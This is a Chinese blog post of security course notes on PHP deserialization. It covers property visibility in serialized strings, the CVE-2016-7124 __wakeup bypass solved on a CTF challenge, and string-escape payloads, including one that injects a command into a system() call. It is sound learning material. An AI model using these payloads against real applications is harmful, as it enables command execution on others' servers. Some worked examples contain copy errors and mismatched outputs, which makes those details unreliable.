小迪安全v2023学习笔记（六十一讲）—— 持续更新中

于 2025-08-14 12:14:28 发布
阅读量765 收藏 15
点赞数 26
CC 4.0 BY-SA版权
分类专栏： 小迪安全v2023笔记 文章标签： 安全 学习 笔记 网络安全 web安全 反序列化
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lingggggaaaa/article/details/150387764

文章目录

前记

  • 今天是学习小迪安全的第六十一天，本节课是PHP原生反序列化的最后一讲，主要就是其利用方式
  • 这节课比较难理解，尤其是字符串逃逸的内容，我还是按照自己的思路尽可能详细地把这个知识点讲清楚
  • 本篇笔记的内容可能与视频有些出入（主要是在演示案例上），所以尽量先观看一遍视频再来看我的笔记

WEB攻防——第六十一天

PHP反序列化&原生类 TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征

PHP - 属性类型-公有&私有&受保护

  • 在PHP中，对象的属性有三种访问控制符修饰：
    1. public：公有属性，该属性可以在任何地方被访问（本类内部、外部类、子类）
    2. protected：受保护属性，只有在本类、子类或者父类中访问
    3. private：私有属性，只有本类内部可以访问
  • 在序列化中，不同的访问控制符修饰的属性会被转为不同的数据：
    1. public属性序列化后格式是正常的成员名
    2. private属性序列化后格式为 %00类名%00 成员名
    3. protected属性序列化后格式为 %00*%00 成员名
  • 简单的小例子：
O:4:"test":3:{s:4:"name";s:6:"xiaodi";s:9:" test age";s:2:"31";s:6:" * sex";s:3:"man";}
  • 但不管是什么，构造POP链的时候都按两种构造方法尝试一下：
    1. 按原有的控制符直接构造
    2. 按public控制符构造

PHP - 绕过漏洞-CVE&字符串逃逸

CVE-2016-7124

  • 漏洞描述：反序列化器在解析序列化字符串时，如果字符串中声明的属性个数大于实际给出的属性个数，PHP 会直接跳过 __wakeup() 的执行。

  • 影响版本：PHP 5.x < 5.6.25；PHP 7.x < 7.0.10

  • 利用条件：

    1. 目标脚本使用 unserialize() 且参数可控；
    2. 被反序列化的类定义了 __wakeup()，并在其中执行了安全校验或变量初始化；
    3. 同一类在 __destruct() / __toString() 等其它魔术方法里存在可利用的敏感操作（任意文件读写、命令执行等）。

  • 下面我们直接用ctf题目来看一看这个漏洞是如何利用的，题目是极客大挑战 2019：
    在这里插入图片描述

  • 提示说有备份文件，这里可以用扫描工具扫出来为www.zip，下载下来后打开分析代码：
    在这里插入图片描述

  • flag.php里面的是假的flag，不管，我们先看index.php，主要代码是这个：

<?php  
include 'class.php';  
$select = $_GET['select'];  
$res=unserialize(@$select);  
?>
  • 需要我们传入的参数为select，然后对这个参数进行反序列化，现在我们看class.php：
class Name{  
    private $username = 'nonono';  
    private $password = 'yesyes';  
  
    public function __construct($username,$password){  
        $this->username = $username;  
        $this->password = $password;  
    }  
  
    function __wakeup(){  
        $this->username = 'guest';  
    }  
  
    function __destruct(){  
        if ($this->password != 100) {  
            echo "</br>NO!!!hacker!!!</br>";  
            echo "You name is: ";  
            echo $this->username;echo "</br>";  
            echo "You password is: ";  
            echo $this->password;echo "</br>";  
            die();  
        }  
        if ($this->username === 'admin') {  
            global $flag;  
            echo $flag;  
        }else{  
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";  
            die();    
        }  
    }  
}

  • 他的逻辑是这样的，我们要拿到flag需要让username='admin'并且password=100

  • 但是现在他需要进行反序列化，那么在我们传入序列化数据之后，他会调用__wakeup()魔术方法去将我们的username改为guest

  • 也就是说，我们必须要想办法绕过__wakeup()方法，那我们就想到了这个漏洞，现在只需要看一看他的PHP版本符不符合利用条件

  • 直接抓包，或者F12看一看：
    在这里插入图片描述

  • 这里可以看到它的PHP版本为5.3.3，是符合利用条件的，那我们首先三步曲得到构造代码：

<?php  
class Name{  
    private $username = 'admin';  
    private $password = 100;  
}  
  
echo serialize(new Name());
// 输出：O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

  • 现在传进去肯定是不行的，我们需要将Name后面的2改大一点，然后再利用，当然这里需要URL编码一下，因为特殊字符有点多：
    在这里插入图片描述

  • 注意！URL编码需要放到php中使用urlencode()进行编码，否则它的%00是没办法被编码的！

字符串逃逸
PHP特性
  • 在理解字符串逃逸之前，我们先来说一个很重要的东西，就是PHP的特性
  • 对于反序列化字符串，PHP是严格按照长度读取字符的，而不是依靠引号或者分号！
  • 而底层代码是以 ; 作为字段的分隔，以 } 作为结尾（字符串除外）并且是根据长度判断内容的
  • 比如有一个反序列化的字符串为：
$x = 'O:1:"a":2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}';
print_r(unserialize($x));
/* 输出：
a Object
(
    [name] => admin
    [age] => 20
)
*/
  • 我们将name值后面的部分加到xiaodi后面，变成这样：
$x = 'O:1:"a":2:{s:4:"name";s:23:"admin";s:3:"age";i:20;}";s:3:"age";i:20;}';
print_r(unserialize($x));
/* 输出：
a Object
(
    [name] => admin";s:3:"age";i:20;}
    [age] => 20
)
*/
  • 从上面的例子就可以看出，PHP它是以前面的数字去进行切分的，而不是通过引号或者分号去切分！
  • 好，了解完这个特性之后，我们就去看什么是字符串逃逸
原理
  • 字符逃逸就是在序列化字符串被过滤（字符变多或变少）后，利用长度不匹配的特性，将攻击者构造的恶意数据“挤”进反序列化结果中
  • 现在有一个反序列化数据：
O:1:"a":2:{s:4:"name";s:5:"admin";s:3:"age";i:20;}
  • 然后假设我们存在过滤或者替换，将admin替换为其他的字符，那这里就存在两种情况：
    1. 字符串增多：占位
    2. 字符串减少：补位
  • 现在我们来一一演示这两种情况：
字符串增多
  • 比如当将admin替换为hacker时（字符串增多！），也就是现在反序列化数据变成了：
O:1:"a":2:{s:4:"name";s:5:"hacker";s:3:"age";i:20;}

  • 由于是严格按照长度解析数据，所以现在就解析不了了，那我们怎么样能让他继续解析呢？

  • 我们可以先数一数admin后面共有多少个字符，这里是18个字符：
    在这里插入图片描述

  • 于是我们可以算一笔账：

现在：admin(5字符)    替换之后：hacker(6字符)
如果我写18个admin呢？就是 5 * 18 = 90个字符
那替换之后就变成了18个hacker  -->  就是 6 * 18 = 108个字符

那如果要让他识别到正确的字符串，我是不是还差18个字符？那这些字符谁补呢？
就是后面的";s:3:"age";i:20;}去补啊
  • 于是我们构造出来逃逸的反序列化数据就是：
O:1:"a":2:{s:4:"name";s:108:"adminadmi...admin";s:3:"age";i:20;}
								18个admin           18个其他字符

// 解析得到的对象为:
/*
a Object
(
    [name] => admin...admin";s:3:"age";i:20;}
)
*/
  • 那它替换之后，就变成了这个数据：
O:1:"a":2:{s:4:"name";s:108:"hacker...hacker";s:3:"age";i:20;}
								18个hacker
// 解析得到的对象为:
/*
a Object
(
    [name] => hacker...hacker
    [age] => 20
)
*/
  • 现在就可以很明显的看到区别了吧，替换之后，age逃逸出来了，那假如这个age我们一开始是不可控的，现在是不是就可控了？
字符串减少
  • 再比如当admin替换之后变成了hack（字符串减少！），现在反序列化数据就变成了：
O:1:"a":2:{s:4:"name";s:5:"hack";s:3:"age";i:20;}

  • 这同样也解析不了，因为分号被解析到字符串中了，所以他没办法读到下一个数据了。那这里又怎么让他解析呢？

  • 我们还是来数一数admin后面的数据长度：
    在这里插入图片描述

  • 这里有18个字符，好，我们继续来算笔账：

现在：admin(5个字符)    替换之后：hack(4个字符)
如果我写18个admin呢？就是 18 * 5 = 90 个字节
替换之后就变成了18个hack  -->  就是 18 * 4 = 72 个字节

那如果要让他识别到正确的字符串，我是不是最后这里还少了18个字节？
那这18个字节谁补给它呢？就正好是我们标注出来的18个字节啊
  • 于是我们构造出来逃逸的反序列化数据就是：
O:1:"a":2:{s:4:"name";s:90:"adminadmi...admin";s:3:"age";i:20;}";s:3:"age";i:999;}
					18个admin           18个其他字符
// 解析得到的对象为:
/*
a Object
(
    [name] => admin...admin
    [age] => 20
    // 舍弃掉后面的东西
)
*/
  • 那它替换之后，就变成了这个数据：
O:1:"a":2:{s:4:"name";s:90:"hack...hack";s:3:"age";i:20;}";s:3:"age";i:999;}
					18个hack
// 解析得到的对象为:
/*
a Object
(
    [name] => hacker...hacker";s:3:"age";i:20;}
    [age] => 999
    // 覆盖掉原来的age值
)
*/
  • 怎么说呢，我其实还是不太了解这个字符串逃逸的原理，我看网上资料和小迪讲得都不太一样，问AI也不一样
  • 但是能理解个大概，逃逸方式有多种多样，我是这种只可意会不可言传的阶段，你们多看几篇文章自己理解一下吧[哭]
实战案例
  • 这里的话，我们就不拿小迪课上的案例来演示了，因为我觉得那个都不太直观明了
  • 我就自己在网上找了一个例子（也是一个ctf题）来让大家更好地理解这个东西，源代码如下：
// flag in flag.php
function waf($str) {
	return str_replace("bad", "good", $str);
}

class GetFlag {
    public $key;
    public $cmd = "whoami";
    public function __construct($key)
    {
        $this->key = $key;
    }
    public function __destruct()
    {
        system($this->cmd);
    }
}
 
unserialize(waf(serialize(new GetFlag($_GET['key']))));
  • 这个题的逻辑就是只让我们输入key去构造一个对象，然后序列化、反序列化执行命令cmd
  • 那我们思路就很明了了，尝试去修改它的$cmd参数，导致命令执行
  • 这里如果我们直接去尝试构造POP链的话是没用的，因为它只接收key去生成对象，比如你构造为：
?key=123";s:3:"cmd";s:6:"whoami";}
  • 有什么用呢？没用的啊，它只是对key赋值，并不会改动cmd
  • 但是真的构造不了吗？我们可以看到有一个waf()函数，它会将我们传入的bad替换为good，那这个就会导致字符串增长，这不典型的字符串逃逸吗？
  • 这里我们简单分析一下，首先生成一个正常的反序列化数据，然后改动cmd的值为我们想要它执行的东西：
O:7:"GetFlag":2:{s:3:"key";s:3:"123";s:3:"cmd";s:2:"ls";}
  • 现在，我们数一数123后面的字符数有22个，于是我们写入22个bad把参数变成这样：
?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
  • 现在它传入之后一解析，key的值变成了badbad...bad";s:3:"cmd";s:2:"ls";}，于是序列化之后的值为：
O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
  • 如果此时不经过waf()函数替换，那么反序列化之后的对象就是这样：
/*
GetFlag Object
(
    [key] => badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}
    [cmd] => whoami
)
*/
  • 再经过waf()函数替换，变成了这样：
O:7:"GetFlag":2:{s:3:"key";s:88:"badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";}";s:3:"cmd";s:6:"whoami";}
  • 中间的good刚好88个字符，于是我们后面自己的cmd就逃逸出来了，赋值为ls，最终的对象为：
/*
GetFlag Object
(
    [key] => goodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgoodgood
    [cmd] => ls
}
*/
  • 因此控制了cmd参数的值，这道题就解得差不多了
  • 那从上面这道例题，我相信你应该就能够了解字符串逃逸是个什么东西了，我是感觉能理解，但是很抽象
  • 这里就不演示小迪的案例了（太头痛了），有兴趣的小伙伴就自己下去复现一下吧
原创 | 初学者友好！最全算法学习资源汇总（附链接）
数据派THU
08-24 1825
在计算机发展飞速的今天，也许有人会问，“今天计算机这么快，算法还重要吗？”其实永远不会有太快的计算机，因为我们总会想出新的应用。虽然在摩尔定律的作用下，计算机的计算能力每年都在飞快增长，...
小迪安全v2023学习笔记（五十六讲）—— 持续更新中
lingggggaaaa的博客
08-09 888
本文介绍了CSRF（跨站请求伪造）攻击的原理、利用条件和防御方法。CSRF攻击通过诱导用户访问恶意网站，在用户已认证状态下执行非预期操作（如转账、修改密码等）。攻击需要三个条件：获取伪造数据包、网站无有效防护、受害者访问恶意网站。文章演示了无防护情况下的CSRF攻击流程，包括使用Burp Suite生成POC并诱使用户访问。同时分析了通过Referer同源检测的防护机制，指出可通过修改请求头绕过。最后介绍了Token校验防护方法，强调Token需具备唯一性和时效性才能有效防御CSRF攻击。
小迪安全v2023学习笔记（四十四讲）—— 持续更新中
lingggggaaaa的博客
07-28 1163
小迪安全v2023学习笔记第四十四讲，本节课主要介绍了三种SQL盲注方式，以及通过实战案例去理解如何运用理解！
小迪安全v2023学习笔记（五十七讲）—— 持续更新中
lingggggaaaa的博客
08-10 842
本文介绍了SSRF（服务端请求伪造）漏洞的原理、利用方式及防护绕过方法。SSRF漏洞的核心在于服务器未严格验证用户输入的网络请求目标，导致攻击者可控制服务器访问内网资源。文章详细解析了SSRF的利用条件、常见业务功能点及URL关键词，并分别演示了无防护SSRF和有防护SSRF的实战案例。针对有防护的情况，提供了多种绕过方案，包括基于身份认证、短网址、域名解析等技术。通过内网穿透实验和CTF题目示例，直观展示了SSRF漏洞的危害性和防御的重要性。
小迪安全v2023学习笔记（四十五讲）—— 持续更新中
lingggggaaaa的博客
07-29 1049
小迪安全v2023学习笔记第四十五讲，本节课主要讲了MySQL注入不常见的注入类型，主要以了解原理为主！
小迪安全v2023学习笔记（六十讲）—— 持续更新中
lingggggaaaa的博客
08-13 867
本文摘要：文章系统讲解了PHP反序列化漏洞原理及POP链构造方法。重点分析了序列化与反序列化的概念，指出不同访问控制符修饰的属性在序列化时的差异。详细介绍了PHP魔术方法的触发时机与利用方式，包括__construct()、__destruct()、__sleep()等常见方法，强调这些方法在反序列化漏洞中的关键作用。通过示例代码演示了魔术方法的实际应用场景，为后续构造POP链攻击奠定基础。文章内容详实，由浅入深地剖析了PHP反序列化漏洞的形成机制和利用方式。
小迪安全v2023学习笔记（四十八讲）—— 持续更新中
lingggggaaaa的博客
08-01 1439
这个漏洞主要是请求URL的解析不正确，导致用户请求的文件名检索不正确，从而导致权限绕过和代码执行。对于这类公开的CMS，我们可以信息收集到它的版本这些，然后到网上搜一下是否有对应的漏洞。这里的演示环境是通达OA-V11.2版本，这里建议是安装到刚刚的虚拟机环境中。这里扫到了存在文件上传漏洞，然后也成功上传了shell，直接连就好了。可以看到请求成功了，这里注意如果出现报错页面，记得看看。）转到十六进制编辑，找到我们添加的空格处，将第二个。转到十六进制，将刚刚添加的空格处（
小迪安全v2023学习笔记（四十六讲）—— 持续更新中
lingggggaaaa的博客
07-30 966
sqlmap是一款开源的渗透测试工具，可以自动化进行SQL注入的检测、利用，并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合，其中包括数据库指纹识别、数据读取和访问底层文件系统，甚至可以通过带外数据连接的方式执行系统命令。sqlmapMySQLOraclePostgreSQLAccessSQLiteIBM DB2等支持我们之前讲过的六种常见的SQL注入技术：基于布尔值的盲注基于时间的盲注基于错误的注入基于Union查询的注入。
小迪安全v2023学习笔记（五十讲）—— 持续更新中
lingggggaaaa的博客
08-03 932
PHP文件包含漏洞学习笔记 本文主要讲解了PHP文件包含漏洞的原理、分类及利用方式。文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)两大类。LFI利用更为常见，可通过配合文件上传或伪协议等方式实现攻击。 重点内容包括： 远程文件包含需满足三个条件：存在包含点、无代码过滤、允许远程加载 本地文件包含的利用方式： 有文件利用：配合文件上传 无文件利用：包含日志/Session文件、使用伪协议 常用伪协议： 文件读取：file://、php://filter 文件写入：php://input 代码执
小迪安全v2023学习笔记（五十一讲）—— 持续更新中
lingggggaaaa的博客
08-04 893
本文介绍了PHP文件类安全中的文件下载、文件删除、目录遍历和目录穿越等知识点。文件下载漏洞通常出现在通过参数传递文件名的情况下，可能导致敏感文件泄露；文件删除漏洞常见于后台功能点，存在高危操作风险；目录遍历和目录穿越则与权限控制和网站配置相关。文章通过演示案例展示了如何利用这些漏洞获取敏感信息或进行恶意操作，并提供了相关防护建议。
终端安全检测和防御技术
2501_92656792的博客
08-12 424
1.终端安全风险
FileLink：为企业跨网文件传输筑牢安全与效率基石
qq_73196442的博客
08-12 882
在企业数据往来日益频繁的今天，跨网文件传输的安全性和高效性是企业顺畅运营的关键。传统传输方式在安全防护、系统融合及成本控制上的短板愈发明显，而 FileLink 凭借在这些方面的突出表现，成为企业跨网文件传输的得力助手。
智慧养老丨实用科普+避坑指南：科技如何让晚年生活更安全舒适？
zskj_zhyl的博客
08-13 406
一位中风康复用户使用非接触式睡眠仪后，家属可远程查看夜间离床次数，及时调整护理方案，但需警惕部分产品数据解读复杂。我们这次主要介绍四类典型智慧养老产品，结合真实体验给出选购建议，并揭秘常见消费陷阱，助您理性选择。邯郸社区引入智能洗浴机后，失能老人洗浴频率从每月1次提升至每周2次，家庭矛盾显著减少。用户反馈显示，某品牌智能手表的跌倒检测准确率高，且支持家人远程查看健康数据。但需注意，部分低价产品误报率高，且续航不足，影响使用体验。选择时，建议与老人共同体验试用装，倾听其真实感受。
终端安全与网络威胁防护笔记
2403_86572967的博客
08-12 463
网关杀毒（Gateway Antivirus）是部署在网络网关设备（如防火墙、路由器、UTM 统一威胁管理设备等）上的病毒防护技术。其核心作用是在网络流量进入内部网络前，对数据进行扫描过滤，拦截恶意文件、病毒、蠕虫等威胁，阻止其渗透到内部终端或服务器。
ASP.NET 上传文件安全检测方案
主宰
08-13 119
/ 4. 扫描文件是否包含恶意代码（示例：检查HTML文件中的脚本标签）// 2. 验证MIME类型（检查Content-Type头）// 1. 验证文件扩展名（双重验证，防止绕过前端）// 5. 保存文件到安全位置（禁用执行权限）// 3. 验证文件内容（魔数检测）二、后端深度验证（核心防御）前端初步过滤（防误操作）
LAZADA跨境电商自养号测评环境搭建：安全与合规的底层逻辑解析
m0_61644681的博客
08-11 509
通过工具模拟真实用户的设备特征（如机型、操作系统、屏幕分辨率等），并将设备参数伪装成目标市场本地用户的典型配置（例如东南亚地区的安卓手机+当地运营商网络组合），从而降低异常识别概率。测评系统的本质，是通过对平台风控逻辑的逆向理解，构建一套尽可能接近真实用户行为的技术环境。平台风控系统不仅依赖IP地址判断用户行为，更会通过设备指纹技术采集底层硬件参数，如MAC地址、设备ID、浏览器指纹、系统时区、语言设置等，进行多维度关联分析。
WiFi原理与WiFi安全
一念的博客
08-10 983
利用无线电波（2.4GHz/5GHz/6GHz）在有线网络和无线设备间传输数据。核心是AP和客户端通过CSMA/CA机制共享信道，通过关联/认证过程建立连接，并依赖强大的加密协议保护空中传输的数据帧。无线广播特性带来固有风险。加密是基石（WPA3是最佳选择，WPA2-AES是底线）。强密码是个人网络的关键防线。防范窃听、非法接入、中间人攻击、DoS、密码破解和恶意热点需要综合运用技术手段（更新协议、固件）和良好的安全习惯（用VPN、警惕公共WiFi、更新设备）。
网络通信安全：HTTPS协议的密码学基石
qq2745567641的博客
08-11 876
HTTPS通过TLS/SSL协议融合多种密码学技术，解决了HTTP明文传输的三大安全隐患。其核心流程包括：1）握手阶段通过非对称加密（ECDHE/RSA）安全交换对称密钥，支持前向保密；2）会话阶段使用高效对称加密（AES-GCM/ChaCha20）传输数据；3）通过HMAC或认证加密确保数据完整性；4）基于CA证书链机制验证服务器身份。Python代码示例演示了证书验证过程，若禁用验证将导致中间人攻击风险。HTTPS最终实现机密性、完整性和真实性的三重保障，成为现代网络安全通信的基础。
【web站点安全开发】任务3：网页开发的骨架HTML与美容术CSS
最新发布
不羁的博客
08-13 726
本文系统介绍了HTML和CSS两大前端核心技术。HTML部分详细解析了内容结构化、多媒体嵌入和交互元素等核心功能，并展示了标准文档结构。CSS部分深入讲解了选择器类型、样式声明和层叠规则等核心概念，对比了不同样式应用方式。文章还介绍了现代网页开发中的响应式设计、CSS预处理/后处理及Flexbox/Grid布局等进阶技术，通过卡片组件示例演示了HTML与CSS的协同工作。最后提供了HTML语义化、CSS命名规范等最佳实践及常见问题解决方案，为构建结构良好、样式美观的现代网页提供了全面指导。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值